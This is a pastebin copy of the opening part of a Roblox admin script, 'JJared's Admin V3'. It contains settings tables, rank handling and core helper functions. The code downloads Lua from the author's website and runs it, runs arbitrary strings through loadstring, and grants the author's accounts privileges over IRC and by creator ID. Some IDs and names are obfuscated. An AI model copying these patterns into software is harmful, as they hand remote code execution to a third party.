· 9 years ago · Oct 08, 2016, 06:56 PM
1--[[
2Hi! This is JJared's Admin V3 by MakerModelLua.
3If you want to know what commands do just go into your game and say ;cmds for a list of
4commands, what they do, examples, rank needed, and more!
5Or, go to http://www.classy-studios.com/V3/Commands.php
6
7
8TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4
9
10--->> DO NOT EDIT THESE SETTINGS <<---
11Well you can but it's a waste of your time. The settings are located in workspace
12in a folder called "MakerModelLua's Settings". You can also use this plugin:
13
14http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
15
16USE REMOTE ADMIN:
17http://www.classy-studios.com/Login/
18
19
20
21...also... this is open source! No stupid shady module scripts, which means it works in studio!
22
23]]
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47-- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
48
49
50local Settings = {
51 Ranks = {
52 ["Owner"] = {Jared4V8};
53 ["Admin"] = {};
54 ["Member"] = {};
55 ["Banned"] = {};
56 ["Crashed"] = {};
57 ["Muted"] = {};
58 };
59
60 Prefix = ";";
61 Bet = " ";
62 MinimumAge = 0;
63 ServerLocked = false;
64 ColorScheme = "White";
65 TransparencyScheme = 50;
66 Fun = true;
67 EnableAdminMenu = true;
68 EnableTaskBar = true;
69 FreeAdmin = false;
70 Font = "Arial";
71
72 DisableAbuse = false;
73 AbuseList = {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools", "bomb", "say", "sink", "asteroid", "gun", "health", "damage", "btools", "missile", "reck", "truck", "debug"};
74 AbusableGear = {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459};
75
76 LinkedAccount = "";
77 DataKey = "";
78
79 ExecuteNotificationSound = 0; --177578949
80 EnableSounds = true;
81
82 VIPMemberID = 0;
83 VIPAdminID = 0;
84
85 GroupID = 0;
86 GroupBanRank = 0;
87 GroupMemberRank = 0;
88 GroupAdminRank = 0;
89 GroupOwnerRank = 0;
90 GroupRankBan = 0;
91 BannedGroupIDs = {};
92
93 IRCServer = "";
94 IRCChannel = "";
95 IRCCommandExecuters = {};
96
97 TrelloToken = ""
98}
99
100local Colors = {
101 ["WHITE"] = Color3.new(1,1,1);
102 ["BLACK"] = Color3.new(0,0,0);
103 ["GRAY"] = Color3.new(0.5,0.5,0.5);
104 ["RED"] = Color3.new(1,0,0);
105 ["GREEN"] = Color3.new(0,1,0);
106 ["BLUE"] = Color3.new(0,0,1);
107 ["YELLOW"] = Color3.new(1,1,0);
108 ["PINK"] = Color3.new(1,0,1);
109 ["MAGENTA"] = Color3.new(1,0,1);
110 ["CYAN"] = BrickColor.new("Cyan").Color;
111 ["TEAL"] = BrickColor.new("Teal").Color;
112 ["BROWN"] = Color3.new(0.55,0.25,0.075);
113 ["PURPLE"] = Color3.new(0.5,0,0.5);
114 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
115}
116
117local Server = {
118 Workspace = game:GetService("Workspace");
119 Players = game:GetService("Players");
120 Lighting = game:GetService("Lighting");
121 MPS = game:GetService("MarketplaceService");
122 TS = game:GetService("TeleportService");
123 HS = game:GetService("HttpService");
124 RS = game:GetService("RunService");
125 PS = game:GetService("PointsService");
126 TestS = game:GetService("TestService");
127 IS = game:GetService("InsertService");
128 Teams = game:GetService("Teams");
129 Data = game:GetService("DataStoreService");
130 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
131 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
132 Storage = game:GetService("ServerStorage")
133}
134
135local Icons = {
136 ["Message"] = 7724351;
137 ["Error"] = 94011556;
138 ["Information"] = 144175130;
139 ["Check"] = 132769976;
140 ["Search"] = 61994930;
141 ["Time"] = 136391033;
142 ["Notice"] = 156507320;
143 ["Sound"] = 164682936;
144 ["Log"] = 70650545;
145 ["Question"] = 41363872;
146 ["Output"] = 11481605;
147 ["Admin"] = 302470270;
148 ["Lock"] = 11341626;
149 ["Settings"] = 131064748;
150 ["Map"] = 257119661;
151 ["Plugin"] = 257097414;
152}
153
154local IRC = {
155 Codes = {
156 ["001"] = "RPL_WELCOME",
157 ["002"] = "RPL_YOURHOST",
158 ["003"] = "RPL_CREATED",
159 ["004"] = "RPL_MYINFO",
160 ["005"] = "RPL_ISUPPORT",
161 ["250"] = "RPL_STATSCONN",
162 ["251"] = "RPL_LUSERCLIENT",
163 ["252"] = "RPL_LUSEROP",
164 ["254"] = "RPL_LUSERCHANNELS",
165 ["255"] = "RPL_LUSERME",
166 ["265"] = "RPL_LOCALUSERS",
167 ["266"] = "RPL_GLOBALUSERS",
168 ["352"] = "RPL_WHOREPLY",
169 ["371"] = "RPL_INFO",
170 ["372"] = "RPL_MOTD",
171 ["374"] = "RPL_ENDINFO",
172 ["375"] = "RPL_MOTDSTART",
173 ["376"] = "RPL_ENDOFMOTD",
174 ["422"] = "ERR_NOMOTD",
175 },
176 Ignore = {
177 ["004"] = true,
178 ["005"] = true,
179 };
180 Users = {};
181 Logs = {};
182 Chats = {};
183 Forms = {};
184 MessageAdded = Instance.new("BindableEvent");
185
186 Servers = {
187 ["esper.net"] = {
188 BaseUrl = "http://webchat.esper.net/";
189 DynamicUrl = "";
190 };
191 ["quakenet.org"] = {
192 BaseUrl = "http://webchat.quakenet.org/";
193 DynamicUrl = "dynamic/leibniz",
194 };
195 ["swiftirc.net"] = {
196 BaseUrl = "http://qwebirc.swiftirc.net/";
197 DynamicUrl = "",
198 };
199 };
200 NickName = "rbxMMLV3_"..math.random(1,100000);
201
202 SessionCounter = 0;
203 Connected = false;
204 Stop = false;
205 SessionID = "";
206}
207
208local RankHUD = {
209 ["Muted"] = 202180094;
210 ["Non-Admin"] = 202180121;
211 ["Member"] = 202180052;
212 ["Admin"] = 202180015;
213 ["Owner"] = 202179988;
214}
215
216local TextConverter = {
217 LetterSounds = {
218 ["a"] = {223757826, nil}; -- 203343899
219 ["b"] = {223533700, 0.2}; -- 203344029
220 ["c"] = {223533711, nil}; -- 203343994
221 ["d"] = {223757910, nil}; -- 203398237
222 ["e"] = {223758026, nil}; -- 203398295
223 ["f"] = {223777655, nil}; -- 203398347
224 ["g"] = {223777738, nil}; -- 203398372
225 ["h"] = {223777757, nil}; -- 203398397
226 ["i"] = {223777807, nil}; -- 203398422
227 ["j"] = {223782888, nil}; -- 203398450
228 ["k"] = {223533711, nil}; -- 203343994
229 ["l"] = {223782961, 0.4}; -- 203398541
230 ["m"] = {223782992, nil}; -- 203398578
231 ["n"] = {223783063, nil}; -- 203398599
232 ["o"] = {223783184, nil}; -- 203398611
233 ["p"] = {223783235, nil}; -- 203398727
234 ["q"] = {223783260, nil}; -- 203398755
235 ["r"] = {223783305, 0.2}; -- 203398792
236 ["s"] = {223783377, nil}; -- 203398806
237 ["t"] = {223783446, nil}; -- 203398850
238 ["u"] = {223783512, nil}; -- 203398872
239 ["v"] = {223783654, nil}; -- 203398965
240 ["w"] = {223783697, nil}; -- 203398984
241 ["x"] = {223783796, nil}; -- 203399008
242 ["y"] = {223783853, nil}; -- 203399043
243 ["z"] = {223783893, nil}; -- 203399096
244
245 ["ch"] = {223784367, 0.3}; -- 203592149
246 ["th"] = {223788235, 0.3}; -- 203399215
247 ["sh"] = {223784505, 0.2}; -- 203399566
248 ["wh"] = {223784555, 0.3}; -- 203622828
249 ["oo"] = {223784456, 0.3}; -- 203399743
250 ["ing"] = {223784393, 0.3}; -- 203402836
251 };
252
253 LongVowels = {
254 ["a"] = {223533687, nil}; -- 203343932
255 ["e"] = {223777620, nil}; -- 203398314
256 ["i"] = {223777855, nil}; -- 203398440
257 ["o"] = {223783212, nil}; -- 203398619
258 ["u"] = {223783572, nil}; -- 203398897
259 };
260
261 Pronounce = {
262 ["0"] = "zero";
263 ["1"] = "wun";
264 ["2"] = "too";
265 ["3"] = "three";
266 ["4"] = "four";
267 ["5"] = "five";
268 ["6"] = "six";
269 ["7"] = "seven";
270 ["8"] = "eyt";
271 ["9"] = "nine";
272 ["one"] = "wun";
273 ["two"] = "too";
274 ["eight"] = "eyt";
275 ["eigh"] = "ey";
276 ["gh"] = "h";
277 ["kn"] = "n";
278 ["come"] = "cu".."m";
279 ["bye"] = "bi";
280 ["#"] = "hashtag";
281 ["@"] = "at";
282 ["&"] = "and";
283 ["*"] = "astrict";
284 ["mn"] = "m";
285 ["kn"] = "n";
286 ["ies"] = "ees";
287 };
288
289 NonEnglishRules = {
290 ["to"] = "too";
291 ["you"] = "yoo";
292 ["we"] = "wee";
293 ["are"] = "erh";
294 ["your"] = "yoor";
295 ["you're"] = "yoor";
296 ["youre"] = "yoor";
297 ["pizza"] = "peetzoh";
298 ["ok"] = "okay";
299 ["have"] = "hav";
300 ["my"] = "mi";
301 ["me"] = "mee";
302 ["u"] = "yoo";
303 ["r"] = "erh";
304 ["move"] = "moov";
305 ["dove"] = "duv";
306 ["debris"] = "debree";
307 ["do"] = "doo";
308 }
309}
310
311local HTMLDecode = {
312 ["35"] = "#";
313 ["36"] = "$";
314 ["37"] = "%%";
315 ["38"] = "*";
316 ["39"] = "'";
317 ["58"] = ":";
318 ["59"] = ";";
319 ["60"] = "<";
320 ["62"] = ">";
321}
322
323
324local Packages = {
325 [27112438] = {27112025,27112039,27112052,27112056,27112068};
326 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
327 [77518833] = {77518564,77518616,77518654,77518696,77518737};
328 [32336368] = {32336059,32336117,32336182,32336243,32336306};
329 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
330 [54116460] = {54116290,54116338,54116373,54116394,54116432};
331 [39977366] = {39976703,39976829,39976927,39977192,39977295};
332 [32357766] = {32357663,32357631,32357619,32357584,32357558};
333 [27123973] = {27121265,27121306,27121353,27121393,27121432};
334 [55717536] = {55717271,55717330,55717388,55717434,55717491};
335 [28279963] = {28279160,28279217,28279859,28279894,28279938};
336 [27403592] = {27402580,27402546,27402641,27402714,27402742};
337 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
338 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
339 [48474394] = {48474356,48474294};
340 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
341 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
342 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
343 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
344 [33378577] = {33378366,33378438,33378484,33378522,33378540};
345 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
346 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
347 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
348 [41851073] = {41850825,41850868,41850915,41851009,41850959}
349}
350
351local CharacterCache = {
352 {"MakerModelLua", 38837082};
353 {"LuaModelMaker", 20920633};
354 {"builderman", 156};
355 {"Shedletsky", 261};
356 {"Telamon", 13645};
357 {"ROBLOX", 1};
358}
359
360local FaceCovert = {
361 Left = "xpos";
362 Right = "xneg";
363 Front = "zpos";
364 Back = "zneg";
365 Top = "ypos";
366 Bottom = "yneg";
367}
368
369local Meshes = {
370 ["crown"] = {1, 1078075};
371 ["king"] = {1, 11419761};
372 ["teapot"] = {0.03, 1029523};
373 ["apple"] = {2.5, 16190555};
374 ["potato"] = {1, 25268275};
375 ["panda"] = {0.5, 20709221};
376 ["dominus"] = {0.5, 21057410};
377 ["fedora"] = {0.75, 13640868};
378 ["noob"] = {1, 20929341};
379 ["knife"] = {0.3, 121944778};
380 ["book"] = {0.3, 1136139};
381}
382
383local NotifySounds = {
384 ["Hover"] = 223134269;
385 ["Select"] = 292141227;
386}
387
388local Trello = {
389 AdminBoardID = "577ea1b21cb7975666524f26";
390 MainBoard = {};
391 RequiredLists = {};
392 RankChecklistCache = {};
393 ToggleChecklist = nil;
394 CommandID = nil;
395 LastCommandDT = 0;
396 RemoteAdminChecklist = "57dec94aa19913c3edbbf7a3";
397 RemoteDataCard = "dLtMo1en"
398}
399
400-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
401-- Why else would I NOT have put it in a module?!?!?
402
403local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
404
405local SoundList,GlobalSoundList = {},{}
406local ScriptCache,MarketCache,PackageCache = {},{},Packages
407local TempChatLogs = {}
408local ToolRegions = {Server.Lighting, game:GetService("ReplicatedStorage"), Server.Storage}
409local NoSpeak = false
410
411local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
412local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
413
414local ChatLogs,CommandLogs = {},{}
415local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
416local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
417local Dispose,Jails,PermCommandBars = {},{},{}
418local Waypoints = {["Center"] = Vector3.new(0,0,0)}
419local Objects = {}
420local Sound = nil
421local ModLighting = false
422local DataReady = true
423local RemoteAbuseGear = {}
424
425local GameOwner = "[ Client ]"
426local PlaceName = "Unknown"
427local PlaceInfo = {}
428local IsStudio = false
429local IsSB = false
430local Date = nil
431local Fonts = {}
432local PendingRequests = {}
433local F3X = script:FindFirstChild("F3X Tools")
434local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
435local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
436local KeyBinds = {}
437local Crowns = {}
438local LastKeys = {}
439local Cars = {}
440local StringReplacements = {}
441
442local CrownStorage = script:FindFirstChild("CrownStorage")
443if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
444
445-- import old settings just in case --
446local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
447if OldSettings then
448 OldSettings = require(OldSettings)
449
450 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
451 Settings[ValName] = OldSettings[ValName]
452 end
453 Settings.GroupBanRank = OldSettings.RankBan
454 Settings.Fun = OldSettings.FUN
455end
456
457if F3X then
458 F3X = F3X:Clone()
459 F3X.Handle.Anchored = false
460 script:FindFirstChild("F3X Tools"):Destroy()
461end
462
463wait(0.1)
464
465local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
466-- tries to defualt to server storage, just in case an exploiter makes their own settings.
467
468if SettingsValues then
469 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
470 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
471 for _,Value in pairs(SettingsValues:GetChildren()) do
472 if Settings[Value.Name] then
473 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
474 for _,NewValue in pairs(Value:GetChildren()) do
475 if ypcall(function() return NewValue.Value end) then
476 if Settings[Value.Name][NewValue.Name] then
477 local Val = NewValue.Value
478 if type(Settings[Value.Name][NewValue.Name]) == "table" then
479 Val = {}
480 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
481 table.insert(Val, Word)
482 end
483 end
484 Settings[Value.Name][NewValue.Name] = Val
485 end
486 end
487 end
488 elseif ypcall(function() return Value.Value end) then
489 if Settings[Value.Name] then
490 local Val = Value.Value
491 if type(Settings[Value.Name]) == "table" then
492 Val = {}
493 for Word in string.gmatch(Value.Value, "%w+") do
494 table.insert(Val, Word)
495 end
496 end
497 Settings[Value.Name] = Val
498 end
499 end
500 end
501 end
502 end
503end
504
505
506if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
507 Settings.LinkedAccount = ""
508elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
509 Settings.LinkedAccount = "Admin"
510end
511
512local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
513local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
514
515wait(1)
516
517local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
518
519if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
520
521if not IsStudio then
522 Server.NS = game:GetService("NetworkServer")
523 script.Name = "Maker".."Mo".."delLua's Admin"
524end
525
526if game.PlaceId > 0 then
527 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
528 PlaceName = PlaceInfo.Name
529end
530
531if string.byte(string.sub(PlaceName,1,1)) == 226 then
532 PlaceName = string.sub(PlaceName,4,#PlaceName)
533end
534for i = 1,5 do
535 if GameOwner == "[ Client ]" then
536 print("MML's Admin: Attempting to establish owner's name #"..i)
537 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
538 wait(1)
539 end
540end
541
542if game.PlaceId == 21053279 or game.PlaceId == 21053219 or game.PlaceId == 20279777 or PlaceId == 260897989 or NLS then IsSB = true end
543
544if IsSB then
545 Settings.IRCServer = "swiftirc.net";
546 Settings.IRCChannel = "#PkamaraSB";
547 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
548 if Settings.TrelloToken == "" then
549 Settings.LinkedAccount = "ScriptBuilder"
550 end
551 if Settings.DataKey == "" then coroutine.wrap(function()
552 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
553 local Key = Server.Storage:FindFirstChild("MML DataKey")
554 print("Found key: "..Key.Value)
555 Settings.DataKey = Key.Value
556 Key:Destroy()
557 end)() end
558end
559local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
560table.insert(Settings.Ranks["Owner"], GameOwner)
561
562for _,Font in pairs(Enum.Font:GetEnumItems()) do
563 Fonts[Font.Name] = Font
564end
565
566local LogClient = script:FindFirstChild("AddClientInfo")
567if LogClient then LogClient:Destroy() end
568LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
569LogClient.OnServerInvoke = function(Player, Info)
570 if Info then
571 for Key,Data in pairs(Info) do
572 ClientInfo[Player.Name][Key] = Data
573 end
574 end
575end
576
577local function MakeFunction(Type, Name)
578 local Func = script:FindFirstChild(Name)
579 if Func then Func:Destroy() end
580 Func = Instance.new(Type, script) Func.Name = Name
581
582 getfenv()[Name] = Func
583 return Func
584end
585
586MakeFunction("BindableFunction", "ExecuteCommand")
587MakeFunction("RemoteFunction", "ExecuteCommandClient")
588MakeFunction("BindableFunction", "ExecuteCode")
589
590MakeFunction("RemoteFunction", "IsAdmin")
591MakeFunction("RemoteFunction", "AddExploit")
592MakeFunction("BindableFunction", "AddExploitServer")
593MakeFunction("RemoteFunction", "KickClient")
594MakeFunction("RemoteFunction", "ConvertTextToSound")
595
596MakeFunction("RemoteFunction", "KeyPressed")
597MakeFunction("RemoteFunction", "InputKey")
598
599MakeFunction("RemoteFunction", "RankPlayerLocal")
600MakeFunction("BindableFunction", "RankPlayerServer")
601
602--[[
603if NLS then
604 local Value = script:FindFirstChild("Override")
605 LogClient.Parent = game
606 if not Value then
607 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
608 local CloneScript = script:Clone()
609 CloneScript.Disabled = true
610 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
611 CloneScript.Disabled = false
612 CloneScript.Parent = nil
613
614 script:Destroy() script.Disabled = true
615 end
616end
617]]
618
619if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
620
621IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
622
623-- Core functions --
624
625function CORE:FixSettings()
626 if Settings.Bet == "/" or Settings.Bet == "-" or Settings.Bet == "(" or Settings.Bet == ")" then Settings.Bet = " " end
627 CORE:ChangeBet(Settings.Bet)
628
629 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
630 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
631
632 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
633 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
634 Settings.TransparencyScheme = Settings.TransparencyScheme/100
635
636 if not Fonts[Settings.Font] then
637 Settings.Font = "Arial"
638 end
639end
640
641function CORE:NilPlayer(Player)
642 if Player == nil or type(Player) == "table" then return true else return false end
643end
644
645function CORE:ExecuteResource(ResourceName, Parent, Data)
646 local ReturnScript = nil
647 local Executed = true
648 if script:FindFirstChild("Resources") then
649 local RawResource = script.Resources:FindFirstChild(ResourceName)
650 if RawResource then
651 local Resource = RawResource:Clone()
652 Resource.Disabled = true
653 Resource.Parent = Parent
654 if Data then
655 for Key,Value in pairs(Data) do
656 if Resource[Key] then
657 Resource[Key].Value = Value
658 end
659 end
660 end
661 wait()
662 Resource.Disabled = false
663 ReturnScript = Resource
664 else
665 Executed = false
666 end
667 else
668 Executed = false
669 end
670 if Executed == false then
671 if not Data then Data = {} end
672 local Source = ScriptCache[ResourceName]
673
674 if not Source then
675 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
676 if Source then
677 ScriptCache[ResourceName] = Source
678 end
679 end
680
681 if Data and Source then
682 for Key,Value in pairs(Data) do
683 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
684 end
685 end
686
687 if NLS and Source then
688 ReturnScript = NLS(Source, Parent)
689 end
690 end
691 return ReturnScript
692end
693
694function CORE:CreateRemotePropertyReader(Obj, Override)
695 if Server.Workspace.FilteringEnabled == true or Override then
696 local Reader = Instance.new("RemoteFunction", Obj)
697 Reader.Name = "RemotePropertyReader"
698 CORE:ExecuteResource("RemotePropertyReader", Reader)
699 return Reader
700 else
701 return Obj
702 end
703end
704
705function CORE:ReadProperty(Reader, Player, Property)
706 if Reader:IsA("RemoteFunction") then
707 return Reader:InvokeClient(Player, Property)
708 else
709 return Reader[Property]
710 end
711end
712
713function CORE:WriteProperty(Reader, Player, Property, Value)
714 if Reader:IsA("RemoteFunction") then
715 return Reader:InvokeClient(Player, Property, Value)
716 else
717 return Reader[Property]
718 end
719end
720
721
722function CORE:CreateRemoteEvent(Obj, EventName)
723 local Event = Instance.new("RemoteEvent", Obj)
724 Event.Name = "RemoteEvent_"..EventName
725 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
726 return Event
727end
728
729function CORE:HandleEvent(Obj, EventName, Func, NewThread)
730 local function Handle()
731 if Server.Workspace.FilteringEnabled == true then
732 local Event = CORE:CreateRemoteEvent(Obj, EventName)
733 return Event.OnServerEvent:connect(function(Player, ...)
734 Func(...)
735 end)
736 else
737 return Obj[EventName]:connect(Func)
738 end
739 end
740 if NewThread then
741 Spawn(Handle)
742 else
743 Handle()
744 end
745end
746
747function CORE:HandleError(Error, Speaker)
748 local Return = ""
749 if not Error or Error == "" then
750 Return = "Unknown Error"
751 else
752 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
753 end
754 if Speaker then
755 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
756 end
757 return Return
758end
759
760local function ExecuteSafe(Source, Speaker) -- no CORE
761 local Script, Error = loadstring(Source)
762 if Error then
763 return false, CORE:HandleError(Error, Speaker)
764 else
765 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
766 getfenv(Script).Server, getfenv(Script).script = Server,script
767 if Speaker then
768 getfenv(Script).print = function(...)
769 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
770 end
771 getfenv(Script).print_array = function(List)
772 if type(List) == "table" then
773 GUI:ListGui(Speaker, "Listed Table", List, "Output")
774 end
775 end
776 end
777
778 local Suc, Error = ypcall(coroutine.wrap(Script))
779
780 if not Suc then
781 Error = CORE:HandleError(Error, Speaker)
782 end
783
784 return Suc,Error
785 end
786end
787
788function CORE:GetTime(Regular, FullDate)
789 if Regular == nil then Regular = true end
790 local Meridiem = ""
791 if Regular == true then Meridiem = " AM" end
792 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
793 local Hour = math.floor(SecondsOfToday / (60*60))
794 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
795 local Second = math.floor(math.fmod(SecondsOfToday, 60))
796 if Hour > 12 and Regular == true then
797 Hour = Hour - 12
798 Meridiem = " PM"
799 end
800 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
801 if #Hour <= 1 then Hour = "0"..Hour end
802 if #Minute <= 1 then Minute = "0"..Minute end
803 if #Second <= 1 then Second = "0"..Second end
804 local Return = Hour..":"..Minute..":"..Second..Meridiem
805 if FullDate == true and Date then Return = Date.." "..Return end
806 return Return
807end
808
809function CORE:RemoveAdmin(Speaker)
810 local Answer = true -- false
811 if not CORE:NilPlayer(Speaker) then
812 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
813 end
814 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
815 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
816 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
817 for _,Item in pairs(Player:GetChildren()) do
818 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
819 Item:Destroy()
820 end
821 end
822 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
823 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
824 GUI:Destroy()
825 end
826 end
827 end end
828 for _,Car in pairs(Cars) do
829 Car:Destroy()
830 end
831 CORE:FixLighting()
832 while wait() do
833 if script:FindFirstChild("Override") then script.Override.Value = true end
834 Settings,CORE,IRC = nil,{},{}
835 if Sound then Sound:Stop() end
836 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
837 script:ClearAllChildren() script:Destroy() script.Disabled = true
838 end
839 end
840end
841
842function CORE:MakeBase()
843 for _,Get in pairs(Workspace:GetChildren()) do
844 if Get.Name == "Base" or Get.Name == "BasePlate" then
845 Get:Destroy()
846 end
847 end
848 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
849end
850
851function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
852 if IsAbusive == nil then IsAbusive = false end
853 if Commands[CommandName] then table.remove(Commands[CommandName]) end
854 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
855end
856
857function CORE:FixLighting() coroutine.wrap(function()
858 ModLighting = false
859 wait(0.2)
860 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
861 Server.Lighting.FogColor = Color3.new(0,0,0)
862 Server.Lighting.Brightness = 1
863 Server.Lighting.TimeOfDay = 14
864 Server.Lighting.FogEnd = 100000
865end)() end
866
867function CORE:Round(Number)
868 if Number >= 0.5 then
869 return math.ceil(Number)
870 elseif Number < 0.5 then
871 return math.floor(Number)
872 end
873end
874
875local AdminID,Got = nil,false
876repeat wait()
877 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
878until Got == true
879
880function CORE:GetTable(ID)
881 local Thing = nil
882 repeat wait()
883 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
884 until Thing
885 return Thing
886end
887
888function CORE:InAdminGroup(Speaker)
889 local IsIn = false
890 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
891 if Speaker:IsInGroup(Get) then
892 IsIn = true
893 end
894 end
895 if IsIn == true then
896 return true
897 else
898 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
899 return false
900 end
901end
902
903function CORE:ReverseTable(Table)
904 if type(Table) ~= "table" then return Table end
905 local NewTable = {}
906 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
907 return NewTable
